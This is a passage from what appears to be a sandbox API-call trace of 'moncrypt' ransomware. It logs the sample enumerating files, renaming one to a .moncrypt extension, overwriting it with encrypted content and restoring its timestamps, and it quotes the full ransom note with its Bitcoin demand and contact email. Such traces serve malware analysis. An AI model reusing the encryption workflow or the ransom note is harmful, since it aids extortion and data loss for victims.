lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", cchWideChar=69, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", lpUsedDefaultChar=0x0) returned 69 [0051.434] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\ECHO\\ECHO.INF", lpUsedDefaultChar=0x0) returned 4 [0051.434] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.434] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.434] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.434] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.434] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.434] GlobalUnlock (hMem=0x44000c) returned 0 [0051.434] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.434] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.434] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.434] GlobalUnlock (hMem=0x44000c) returned 0 [0051.434] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.434] GlobalUnlock (hMem=0x440004) returned 0 [0051.434] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.435] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIFr", lpUsedDefaultChar=0x0) returned 72 [0051.435] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\ECHO\\PREVIEW.GIFr", lpUsedDefaultChar=0x0) returned 4 [0051.435] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.436] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.436] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.436] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.436] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.436] GlobalUnlock (hMem=0x440004) returned 0 [0051.436] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.436] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.436] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.436] GlobalUnlock (hMem=0x440004) returned 0 [0051.436] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.436] GlobalUnlock (hMem=0x44000c) returned 0 [0051.436] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.436] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 73 [0051.437] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0051.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.437] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.437] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.437] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.moncrypt")) returned 1 [0051.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.439] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.439] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x6212 [0051.439] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.439] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.443] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.443] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.444] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.444] GlobalUnlock (hMem=0x440004) returned 0 [0051.444] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.444] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.444] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.444] GlobalUnlock (hMem=0x440004) returned 0 [0051.444] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.444] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.444] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.444] GlobalUnlock (hMem=0x44000c) returned 0 [0051.444] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.444] GlobalUnlock (hMem=0x440004) returned 0 [0051.444] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.444] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.444] GlobalUnlock (hMem=0x440004) returned 0 [0051.444] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.444] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.444] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.444] GlobalUnlock (hMem=0x440004) returned 0 [0051.444] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.444] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.444] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.445] SetFilePointer (in: hFile=0x18c, lDistanceToMove=25106, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x6212 [0051.445] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.445] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.445] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.456] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.456] CloseHandle (hObject=0x18c) returned 1 [0051.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.457] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.457] CloseHandle (hObject=0x18c) returned 1 [0051.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.458] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.458] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.458] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.458] GlobalUnlock (hMem=0x440004) returned 0 [0051.458] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.458] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.458] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.458] GlobalUnlock (hMem=0x440004) returned 0 [0051.458] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.458] GlobalUnlock (hMem=0x44000c) returned 0 [0051.458] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe5f4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fe5f4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fe5f4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.458] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.458] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.458] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.459] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.459] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.459] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.459] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.459] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.459] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.459] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.459] CloseHandle (hObject=0x18c) returned 1 [0051.459] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.459] 